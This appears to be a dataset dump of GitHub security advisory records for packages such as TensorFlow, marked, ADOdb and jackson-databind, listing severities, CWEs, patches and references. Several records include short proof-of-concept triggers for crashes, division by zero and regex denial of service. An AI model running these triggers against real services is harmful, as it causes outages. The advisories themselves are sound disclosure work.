ecosystem
stringclasses 11
values | vuln_id
stringlengths 10
19
| summary
stringlengths 4
220
⌀ | details
stringlengths 34
13.5k
| aliases
stringlengths 17
87
⌀ | modified_date
stringdate 2019-03-26 14:13:00
2022-05-10 08:46:52
| published_date
stringdate 2012-06-17 03:41:00
2022-05-10 08:46:50
| severity
stringclasses 5
values | score
float64 0
10
⌀ | cwe_id
stringclasses 581
values | refs
stringlengths 82
11.6k
| introduced
stringclasses 843
values | code_refs
stringlengths 46
940
| commits
stringlengths 46
940
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
GHSA | GHSA-h3cq-j957-vhxg | Cross-site Scripting in fullpage.js | using fullpage.js you can create a anchor tag . But when put href in anchor then it does not sanitize the url which allow for a break in the context of anchor element and can add our new element. | {'CVE-2022-1330'} | 2022-04-22T20:26:50Z | 2022-04-13T00:00:16Z | MODERATE | 5.4 | {'CWE-79'} | {'https://github.com/alvarotrigo/fullpage.js/commit/e7a5db42711700c8a584e61b5e532a64039fe92b', 'https://github.com/alvarotrigo/fullPage.js/pull/4360', 'https://nvd.nist.gov/vuln/detail/CVE-2022-1330', 'https://github.com/advisories/GHSA-h3cq-j957-vhxg', 'https://huntr.dev/bounties/08d2a6d0-772f-4b05-834e-86343f263c35'} | null | {'https://github.com/alvarotrigo/fullpage.js/commit/e7a5db42711700c8a584e61b5e532a64039fe92b'} | {'https://github.com/alvarotrigo/fullpage.js/commit/e7a5db42711700c8a584e61b5e532a64039fe92b'} |
GHSA | GHSA-xpwp-rq3x-x6v7 | Critical severity vulnerability that affects recurly-api-client | The Recurly Client .NET Library before 1.0.1, 1.1.10, 1.2.8, 1.3.2, 1.4.14, 1.5.3, 1.6.2, 1.7.1, 1.8.1 is vulnerable to a Server-Side Request Forgery vulnerability due to incorrect use of "Uri.EscapeUriString" that could result in compromise of API keys or other critical resources. | {'CVE-2017-0907'} | 2021-01-08T00:00:08Z | 2018-10-16T17:35:04Z | CRITICAL | 0 | {'CWE-918'} | {'https://hackerone.com/reports/288635', 'https://dev.recurly.com/page/net-updates', 'https://github.com/advisories/GHSA-xpwp-rq3x-x6v7', 'https://github.com/recurly/recurly-client-net/commit/9eef460c0084afd5c24d66220c8b7a381cf9a1f1', 'https://nvd.nist.gov/vuln/detail/CVE-2017-0907'} | null | {'https://github.com/recurly/recurly-client-net/commit/9eef460c0084afd5c24d66220c8b7a381cf9a1f1'} | {'https://github.com/recurly/recurly-client-net/commit/9eef460c0084afd5c24d66220c8b7a381cf9a1f1'} |
GHSA | GHSA-93q8-gq69-wqmw | Inefficient Regular Expression Complexity in chalk/ansi-regex | ansi-regex is vulnerable to Inefficient Regular Expression Complexity | {'CVE-2021-3807'} | 2022-05-02T21:01:45Z | 2021-09-20T20:20:09Z | HIGH | 7.5 | {'CWE-1333'} | {'https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9', 'https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311', 'https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774', 'https://github.com/advisories/GHSA-93q8-gq69-wqmw', 'https://github.com/chalk/ansi-regex/releases/tag/v6.0.1', 'https://www.oracle.com/security-alerts/cpuapr2022.html', 'https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3807', 'https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908'} | null | {'https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9'} | {'https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9'} |
GHSA | GHSA-p45v-v4pw-77jr | Division by 0 in `QuantizedBatchNormWithGlobalNormalization` | ### Impact
An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:
```python
import tensorflow as tf
t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)
t_min = tf.constant(-10.0, dtype=tf.float32)
t_max = tf.constant(-10.0, dtype=tf.float32)
m = tf.constant([], shape=[0], dtype=tf.quint8)
m_min = tf.constant(-10.0, dtype=tf.float32)
m_max = tf.constant(-10.0, dtype=tf.float32)
v = tf.constant([], shape=[0], dtype=tf.quint8)
v_min = tf.constant(-10.0, dtype=tf.float32)
v_max = tf.constant(-10.0, dtype=tf.float32)
beta = tf.constant([], shape=[0], dtype=tf.quint8)
beta_min = tf.constant(-10.0, dtype=tf.float32)
beta_max = tf.constant(-10.0, dtype=tf.float32)
gamma = tf.constant([], shape=[0], dtype=tf.quint8)
gamma_min = tf.constant(-10.0, dtype=tf.float32)
gamma_max = tf.constant(-10.0, dtype=tf.float32)
tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
gamma_max=gamma_max, out_type=tf.qint32,
variance_epsilon=0.1, scale_after_normalization=True)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the [op's contract](https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization).
### Patches
We have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team | {'CVE-2021-29548'} | 2021-05-21T14:23:34Z | 2021-05-21T14:23:34Z | LOW | 2.5 | {'CWE-369'} | {'https://github.com/advisories/GHSA-p45v-v4pw-77jr', 'https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29548', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p45v-v4pw-77jr'} | null | {'https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b'} | {'https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b'} |
GHSA | GHSA-r6rj-9ch6-g264 | Prototype pollution in Merge-deep | The merge-deep library before 3.0.3 for Node.js can be tricked into overwriting properties of Object.prototype or adding new properties to it. These properties are then inherited by every object in the program, thus facilitating prototype-pollution attacks against applications using this library. | {'CVE-2021-26707'} | 2021-07-19T15:55:55Z | 2021-06-07T22:09:26Z | CRITICAL | 9.8 | {'CWE-1321'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-26707', 'https://securitylab.github.com/advisories/GHSL-2020-160-merge-deep/', 'https://www.npmjs.com/package/merge-deep', 'https://github.com/jonschlinkert/merge-deep/commit/11e5dd56de8a6aed0b1ed022089dbce6968d82a5', 'https://security.netapp.com/advisory/ntap-20210716-0008/', 'https://github.com/advisories/GHSA-r6rj-9ch6-g264'} | null | {'https://github.com/jonschlinkert/merge-deep/commit/11e5dd56de8a6aed0b1ed022089dbce6968d82a5'} | {'https://github.com/jonschlinkert/merge-deep/commit/11e5dd56de8a6aed0b1ed022089dbce6968d82a5'} |
GHSA | GHSA-6wqp-v4v6-c87c | Deserialization of Untrusted Data | An issue was discovered in FasterXML jackson-databind prior to 2.7.9.4, 2.8.11.2, and 2.9.6. When Default Typing is enabled (either globally or for a specific property), the service has the Oracle JDBC jar in the classpath, and an attacker can provide an LDAP service to access, it is possible to make the service execute a malicious payload. | {'CVE-2018-12023'} | 2021-08-30T14:16:00Z | 2020-06-15T18:44:51Z | HIGH | 7.5 | {'CWE-502'} | {'https://access.redhat.com/errata/RHSA-2019:1108', 'https://access.redhat.com/errata/RHSA-2019:3140', 'https://nvd.nist.gov/vuln/detail/CVE-2018-12023', 'https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html', 'https://access.redhat.com/errata/RHSA-2019:2804', 'https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf', 'https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E', 'https://access.redhat.com/errata/RHBA-2019:0959', 'https://access.redhat.com/errata/RHSA-2019:1797', 'https://seclists.org/bugtraq/2019/May/68', 'https://access.redhat.com/errata/RHSA-2019:1140', 'https://lists.apache.org/thread.html/7fcf88aff0d1deaa5c3c7be8d58c05ad7ad5da94b59065d8e7c50c5d@%3Cissues.lucene.apache.org%3E', 'https://access.redhat.com/errata/RHSA-2019:4037', 'https://www.debian.org/security/2019/dsa-4452', 'https://security.netapp.com/advisory/ntap-20190530-0003/', 'https://access.redhat.com/errata/RHSA-2019:2858', 'https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html', 'https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@%3Cdev.drill.apache.org%3E', 'https://access.redhat.com/errata/RHSA-2019:1822', 'https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html', 'https://github.com/FasterXML/jackson-databind/issues/2058', 'https://github.com/advisories/GHSA-6wqp-v4v6-c87c', 'https://access.redhat.com/errata/RHSA-2019:0782', 'https://access.redhat.com/errata/RHSA-2019:0877', 'https://access.redhat.com/errata/RHSA-2019:3149', 'https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@%3Cdev.drill.apache.org%3E', 'https://access.redhat.com/errata/RHSA-2019:1106', 'https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html', 'https://www.oracle.com/security-alerts/cpuoct2020.html', 'https://github.com/FasterXML/jackson-databind/commit/28badf7ef60ac3e7ef151cd8e8ec010b8479226a', 'https://access.redhat.com/errata/RHSA-2019:1107', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZEDLDUYBSTDY4GWDBUXGJNS2RFYTFVRC/', 'https://access.redhat.com/errata/RHSA-2019:3002', 'http://www.securityfocus.com/bid/105659', 'https://access.redhat.com/errata/RHSA-2019:1782', 'https://www.oracle.com/security-alerts/cpuapr2020.html', 'https://www.oracle.com/security-alerts/cpujul2020.html', 'https://access.redhat.com/errata/RHSA-2019:3892', 'https://access.redhat.com/errata/RHSA-2019:1823'} | null | {'https://github.com/FasterXML/jackson-databind/commit/28badf7ef60ac3e7ef151cd8e8ec010b8479226a'} | {'https://github.com/FasterXML/jackson-databind/commit/28badf7ef60ac3e7ef151cd8e8ec010b8479226a'} |
GHSA | GHSA-c94w-c95p-phf8 | Integer overflow in Tensorflow | ### Impact
The [implementation of `OpLevelCostEstimator::CalculateTensorSize`](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/op_level_cost_estimator.cc#L1552-L1558) is vulnerable to an integer overflow if an attacker can create an operation which would involve a tensor with large enough number of elements:
```cc
int64_t OpLevelCostEstimator::CalculateTensorSize(
const OpInfo::TensorProperties& tensor, bool* found_unknown_shapes) {
int64_t count = CalculateTensorElementCount(tensor, found_unknown_shapes);
int size = DataTypeSize(BaseType(tensor.dtype()));
VLOG(2) << "Count: " << count << " DataTypeSize: " << size;
return count * size;
}
```
Here, `count` and `size` can be large enough to cause `count * size` to overflow.
### Patches
We have patched the issue in GitHub commit [fcd18ce3101f245b083b30655c27b239dc72221e](https://github.com/tensorflow/tensorflow/commit/fcd18ce3101f245b083b30655c27b239dc72221e).
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. | {'CVE-2022-23575'} | 2022-02-11T20:46:29Z | 2022-02-10T00:32:59Z | MODERATE | 6.5 | {'CWE-190'} | {'https://github.com/tensorflow/tensorflow/commit/fcd18ce3101f245b083b30655c27b239dc72221e', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c94w-c95p-phf8', 'https://nvd.nist.gov/vuln/detail/CVE-2022-23575', 'https://github.com/advisories/GHSA-c94w-c95p-phf8', 'https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/op_level_cost_estimator.cc#L1552-L1558'} | null | {'https://github.com/tensorflow/tensorflow/commit/fcd18ce3101f245b083b30655c27b239dc72221e'} | {'https://github.com/tensorflow/tensorflow/commit/fcd18ce3101f245b083b30655c27b239dc72221e'} |
GHSA | GHSA-cmgw-8vpc-rc59 | Segfault on strings tensors with mistmatched dimensions, due to Go code | ### Impact
Under certain conditions, Go code can trigger a segfault in string deallocation.
For string tensors, `C.TF_TString_Dealloc` is called during garbage collection within a finalizer function. However, tensor structure isn't checked until encoding to avoid a performance penalty. The current method for dealloc assumes that encoding succeeded, but segfaults when a string tensor is garbage collected whose encoding failed (e.g., due to mismatched dimensions).
To fix this, the call to set the finalizer function is deferred until `NewTensor` returns and, if encoding failed for a string tensor, deallocs are determined based on bytes written.
### Patches
We have patched the issue in GitHub commit [8721ba96e5760c229217b594f6d2ba332beedf22](https://github.com/tensorflow/tensorflow/commit/8721ba96e5760c229217b594f6d2ba332beedf22) (merging [#50508](https://github.com/tensorflow/tensorflow/pull/50508)).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, which is the other affected version.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported externally via a [fixing PR](https://github.com/tensorflow/tensorflow/pull/50508). | {'CVE-2021-37692'} | 2021-08-25T14:38:57Z | 2021-08-25T14:38:57Z | MODERATE | 5.5 | {'CWE-20'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-37692', 'https://github.com/advisories/GHSA-cmgw-8vpc-rc59', 'https://github.com/tensorflow/tensorflow/commit/8721ba96e5760c229217b594f6d2ba332beedf22', 'https://github.com/tensorflow/tensorflow/pull/50508', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cmgw-8vpc-rc59'} | null | {'https://github.com/tensorflow/tensorflow/commit/8721ba96e5760c229217b594f6d2ba332beedf22'} | {'https://github.com/tensorflow/tensorflow/commit/8721ba96e5760c229217b594f6d2ba332beedf22'} |
GHSA | GHSA-c4qp-h3m6-785f | Downloads Resources over HTTP in ibm_db | Affected versions of `ibm_db` insecurely download resources over HTTP.
In scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.
## Recommendation
Update to version 1.0.2 or later. | {'CVE-2016-10577'} | 2021-01-08T19:01:23Z | 2019-02-18T23:51:59Z | HIGH | 0 | {'CWE-311'} | {'https://nodesecurity.io/advisories/163', 'https://github.com/advisories/GHSA-c4qp-h3m6-785f', 'https://www.npmjs.com/advisories/163', 'https://github.com/ibmdb/node-ibm_db/commit/d7e2d4b4cbeb6f067df8bba7d0b2ac5d40fcfc19#diff-315091eb1586966006e05ebc21cd2a94', 'https://nvd.nist.gov/vuln/detail/CVE-2016-10577'} | null | {'https://github.com/ibmdb/node-ibm_db/commit/d7e2d4b4cbeb6f067df8bba7d0b2ac5d40fcfc19#diff-315091eb1586966006e05ebc21cd2a94'} | {'https://github.com/ibmdb/node-ibm_db/commit/d7e2d4b4cbeb6f067df8bba7d0b2ac5d40fcfc19#diff-315091eb1586966006e05ebc21cd2a94'} |
GHSA | GHSA-9h63-7qf6-mv6r | Improper Authorization in github.com/containers/libpod | A flaw was found in podman before 1.7.0. File permissions for non-root users running in a privileged container are not correctly checked. This flaw can be abused by a low-privileged user inside the container to access any other file in the container, even if owned by the root user inside the container. It does not allow to directly escape the container, though being a privileged container means that a lot of security features are disabled when running the container. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. | {'CVE-2021-20188'} | 2021-05-18T18:33:12Z | 2021-05-18T18:33:12Z | HIGH | 7 | {'CWE-863'} | {'https://github.com/containers/podman/commit/c8bd4746151e6ae37d49c4688f2f64e03db429fc', 'https://nvd.nist.gov/vuln/detail/CVE-2021-20188', 'https://github.com/containers/podman/commit/2c7b579fe7328dc6db48bdaf60d0ddd9136b1e24', 'https://bugzilla.redhat.com/show_bug.cgi?id=1915734', 'https://github.com/advisories/GHSA-9h63-7qf6-mv6r', 'https://github.com/containers/podman/commit/dcf3c742b1ac4d641d66810113f3d17441a412f4'} | null | {'https://github.com/containers/podman/commit/c8bd4746151e6ae37d49c4688f2f64e03db429fc', 'https://github.com/containers/podman/commit/dcf3c742b1ac4d641d66810113f3d17441a412f4', 'https://github.com/containers/podman/commit/2c7b579fe7328dc6db48bdaf60d0ddd9136b1e24'} | {'https://github.com/containers/podman/commit/2c7b579fe7328dc6db48bdaf60d0ddd9136b1e24', 'https://github.com/containers/podman/commit/c8bd4746151e6ae37d49c4688f2f64e03db429fc', 'https://github.com/containers/podman/commit/dcf3c742b1ac4d641d66810113f3d17441a412f4'} |
GHSA | GHSA-qx3f-p745-w4hr | Integer overflow in Tensorflow | ### Impact
The implementation of `Range` suffers from integer overflows. These can trigger undefined behavior or, in some scenarios, extremely large allocations.
### Patches
We have patched the issue in GitHub commit [f0147751fd5d2ff23251149ebad9af9f03010732](https://github.com/tensorflow/tensorflow/commit/f0147751fd5d2ff23251149ebad9af9f03010732) (merging [#51733](https://github.com/tensorflow/tensorflow/pull/51733)).
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/52676). | {'CVE-2022-23562'} | 2022-02-11T15:07:30Z | 2022-02-09T23:54:07Z | HIGH | 7.6 | {'CWE-190'} | {'https://github.com/tensorflow/tensorflow/commit/f0147751fd5d2ff23251149ebad9af9f03010732', 'https://github.com/tensorflow/tensorflow/issues/52676', 'https://github.com/advisories/GHSA-qx3f-p745-w4hr', 'https://nvd.nist.gov/vuln/detail/CVE-2022-23562', 'https://github.com/tensorflow/tensorflow/pull/51733', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-qx3f-p745-w4hr'} | null | {'https://github.com/tensorflow/tensorflow/commit/f0147751fd5d2ff23251149ebad9af9f03010732'} | {'https://github.com/tensorflow/tensorflow/commit/f0147751fd5d2ff23251149ebad9af9f03010732'} |
GHSA | GHSA-vxp9-wv2f-wqmw | High severity vulnerability that affects superset | Versions of Superset prior to 0.23 used an unsafe load method from the pickle library to deserialize data leading to possible remote code execution. Note Superset 0.23 was released prior to any Superset release under the Apache Software Foundation. | {'CVE-2018-8021'} | 2022-03-23T22:10:14Z | 2018-11-09T17:40:56Z | CRITICAL | 9.8 | {'CWE-502'} | {'https://github.com/apache/superset/commit/2c72a7ae4fc0a8bac1f037a79efa90e1c5549710', 'https://www.exploit-db.com/exploits/45933/', 'https://github.com/advisories/GHSA-vxp9-wv2f-wqmw', 'https://github.com/apache/superset/pull/4243', 'https://nvd.nist.gov/vuln/detail/CVE-2018-8021'} | null | {'https://github.com/apache/superset/commit/2c72a7ae4fc0a8bac1f037a79efa90e1c5549710'} | {'https://github.com/apache/superset/commit/2c72a7ae4fc0a8bac1f037a79efa90e1c5549710'} |
GHSA | GHSA-m85c-9mf8-m2m6 | Critical severity vulnerability that affects confire | An exploitable vulnerability exists in the YAML parsing functionality in config.py in Confire 0.2.0. Due to the user-specific configuration being loaded from "~/.confire.yaml" using the yaml.load function, a YAML parser can execute arbitrary Python commands resulting in command execution. An attacker can insert Python into loaded YAML to trigger this vulnerability. | {'CVE-2017-16763'} | 2021-09-15T18:38:46Z | 2018-07-18T18:28:26Z | CRITICAL | 9.8 | null | {'https://github.com/bbengfort/confire/commit/8cc86a5ec2327e070f1d576d61bbaadf861597ea', 'https://github.com/advisories/GHSA-m85c-9mf8-m2m6', 'https://joel-malwarebenchmark.github.io/blog/2017/11/12/cve-2017-16763-configure-loaded-through-confire/', 'https://github.com/bbengfort/confire/issues/24', 'https://nvd.nist.gov/vuln/detail/CVE-2017-16763'} | null | {'https://github.com/bbengfort/confire/commit/8cc86a5ec2327e070f1d576d61bbaadf861597ea'} | {'https://github.com/bbengfort/confire/commit/8cc86a5ec2327e070f1d576d61bbaadf861597ea'} |
GHSA | GHSA-cpf4-wx82-gxp6 | Segfault due to negative splits in `SplitV` | ### Impact
The [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/split_v_op.cc#L49-L205) of `SplitV` can trigger a segfault is an attacker supplies negative arguments:
```python
import tensorflow as tf
tf.raw_ops.SplitV(
value=tf.constant([]),
size_splits=[-1, -2]
,axis=0,
num_split=2)
```
This occurs whenever `size_splits` contains more than one value and at least one value is negative.
### Patches
We have patched the issue in GitHub commit [25d622ffc432acc736b14ca3904177579e733cc6](https://github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-41222'} | 2021-11-10T18:48:15Z | 2021-11-10T18:48:15Z | MODERATE | 5.5 | {'CWE-682'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-41222', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cpf4-wx82-gxp6', 'https://github.com/advisories/GHSA-cpf4-wx82-gxp6', 'https://github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6'} | null | {'https://github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6'} | {'https://github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6'} |
GHSA | GHSA-v6wr-fch2-vm5w | Moderate severity vulnerability that affects com.orientechnologies:orientdb-studio | server/network/protocol/http/OHttpSessionManager.java in the Studio component in OrientDB Server Community Edition before 2.0.15 and 2.1.x before 2.1.1 improperly relies on the java.util.Random class for generation of random Session ID values, which makes it easier for remote attackers to predict a value by determining the internal state of the PRNG in this class. | {'CVE-2015-2913'} | 2021-09-20T15:49:27Z | 2018-10-18T17:41:27Z | MODERATE | 5.9 | {'CWE-200'} | {'https://nvd.nist.gov/vuln/detail/CVE-2015-2913', 'https://github.com/advisories/GHSA-v6wr-fch2-vm5w', 'https://github.com/orientechnologies/orientdb/commit/668ece96be210e742a4e2820a3085b215cf55104', 'https://www.kb.cert.org/vuls/id/845332'} | null | {'https://github.com/orientechnologies/orientdb/commit/668ece96be210e742a4e2820a3085b215cf55104'} | {'https://github.com/orientechnologies/orientdb/commit/668ece96be210e742a4e2820a3085b215cf55104'} |
GHSA | GHSA-m7j4-fhg6-xf5v | Prototype pollution in datatables.net | All versions of package datatables.net are vulnerable to Prototype Pollution due to an incomplete fix for https://snyk.io/vuln/SNYK-JS-DATATABLESNET-598806. | {'CVE-2020-28458'} | 2021-07-28T20:34:50Z | 2020-12-17T21:00:50Z | HIGH | 7.3 | {'CWE-1321'} | {'https://github.com/advisories/GHSA-m7j4-fhg6-xf5v', 'https://github.com/DataTables/DataTablesSrc/commit/a51cbe99fd3d02aa5582f97d4af1615d11a1ea03', 'https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1051961', 'https://snyk.io/vuln/SNYK-JS-DATATABLESNET-598806', 'https://github.com/DataTables/Dist-DataTables/blob/master/js/jquery.dataTables.js%23L2766', 'https://snyk.io/vuln/SNYK-JS-DATATABLESNET-1016402', 'https://nvd.nist.gov/vuln/detail/CVE-2020-28458', 'https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1051962'} | null | {'https://github.com/DataTables/DataTablesSrc/commit/a51cbe99fd3d02aa5582f97d4af1615d11a1ea03'} | {'https://github.com/DataTables/DataTablesSrc/commit/a51cbe99fd3d02aa5582f97d4af1615d11a1ea03'} |
GHSA | GHSA-65mj-7c86-79jf | Authentication Bypass in ADOdb/ADOdb | ### Impact
An attacker can inject values into a PostgreSQL connection string by providing a parameter surrounded by single quotes.
Depending on how the library is used in the client software, this may allow an attacker to bypass the login process, gain access to the server's IP address, etc.
### Patches
The vulnerability is fixed in ADOdb versions 5.20.21 (952de6c4273d9b1e91c2b838044f8c2111150c29) and 5.21.4 or later (b4d5ce70034c5aac3a1d51d317d93c037a0938d2).
The simplest patch is to delete line 29 in `drivers/adodb-postgres64.inc.php`:
```php
diff --git a/drivers/adodb-postgres64.inc.php b/drivers/adodb-postgres64.inc.php
index d04b7f67..729d7141 100644
--- a/drivers/adodb-postgres64.inc.php
+++ b/drivers/adodb-postgres64.inc.php
@@ -26,7 +26,6 @@ function adodb_addslashes($s)
{
$len = strlen($s);
if ($len == 0) return "''";
- if (strncmp($s,"'",1) === 0 && substr($s,$len-1) == "'") return $s; // already quoted
return "'".addslashes($s)."'";
}
```
### Workarounds
Ensure the parameters passed to *ADOConnection::connect()* or related functions (_nConnect()_, _pConnect()_) are not surrounded by single quotes.
### Credits
Thanks to **Emmet Leahy** (@meme-lord) of Sorcery Ltd for reporting this vulnerability, and to the [huntr](https://huntr.dev/) team for their support.
### References
- Original issue report https://huntr.dev/bounties/bdf5f216-4499-4225-a737-b28bc6f5801c/
- ADOdb reference issue #793
### For more information
If you have any questions or comments about this advisory:
* Add a note in issue #793
* Contact the maintainers on [Gitter](https://gitter.im/adodb/adodb)
| {'CVE-2021-3850'} | 2022-03-30T21:12:11Z | 2022-01-27T15:23:19Z | CRITICAL | 9.1 | {'CWE-287', 'CWE-305'} | {'https://github.com/ADOdb/ADOdb/issues/793', 'https://github.com/ADOdb/ADOdb/commit/952de6c4273d9b1e91c2b838044f8c2111150c29', 'https://github.com/ADOdb/ADOdb/security/advisories/GHSA-65mj-7c86-79jf', 'https://github.com/ADOdb/ADOdb/commit/b4d5ce70034c5aac3a1d51d317d93c037a0938d2', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3850', 'https://huntr.dev/bounties/bdf5f216-4499-4225-a737-b28bc6f5801c', 'https://www.debian.org/security/2022/dsa-5101', 'https://lists.debian.org/debian-lts-announce/2022/02/msg00006.html', 'https://github.com/advisories/GHSA-65mj-7c86-79jf'} | null | {'https://github.com/ADOdb/ADOdb/commit/952de6c4273d9b1e91c2b838044f8c2111150c29', 'https://github.com/ADOdb/ADOdb/commit/b4d5ce70034c5aac3a1d51d317d93c037a0938d2'} | {'https://github.com/ADOdb/ADOdb/commit/952de6c4273d9b1e91c2b838044f8c2111150c29', 'https://github.com/ADOdb/ADOdb/commit/b4d5ce70034c5aac3a1d51d317d93c037a0938d2'} |
GHSA | GHSA-rrrm-qjm4-v8hf | Inefficient Regular Expression Complexity in marked | ### Impact
_What kind of vulnerability is it?_
Denial of service.
The regular expression `block.def` may cause catastrophic backtracking against some strings.
PoC is the following.
```javascript
import * as marked from "marked";
marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);
```
_Who is impacted?_
Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.
### Patches
_Has the problem been patched?_
Yes
_What versions should users upgrade to?_
4.0.10
### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
Do not run untrusted markdown through marked or run marked on a [worker](https://marked.js.org/using_advanced#workers) thread and set a reasonable time limit to prevent draining resources.
### References
_Are there any links users can visit to find out more?_
- https://marked.js.org/using_advanced#workers
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [marked](https://github.com/markedjs/marked)
| {'CVE-2022-21680'} | 2022-04-19T19:03:20Z | 2022-01-14T21:04:41Z | HIGH | 7.5 | {'CWE-1333'} | {'https://github.com/markedjs/marked/releases/tag/v4.0.10', 'https://nvd.nist.gov/vuln/detail/CVE-2022-21680', 'https://github.com/markedjs/marked/commit/c4a3ccd344b6929afa8a1d50ac54a721e57012c0', 'https://github.com/advisories/GHSA-rrrm-qjm4-v8hf', 'https://github.com/markedjs/marked/security/advisories/GHSA-rrrm-qjm4-v8hf'} | null | {'https://github.com/markedjs/marked/commit/c4a3ccd344b6929afa8a1d50ac54a721e57012c0'} | {'https://github.com/markedjs/marked/commit/c4a3ccd344b6929afa8a1d50ac54a721e57012c0'} |
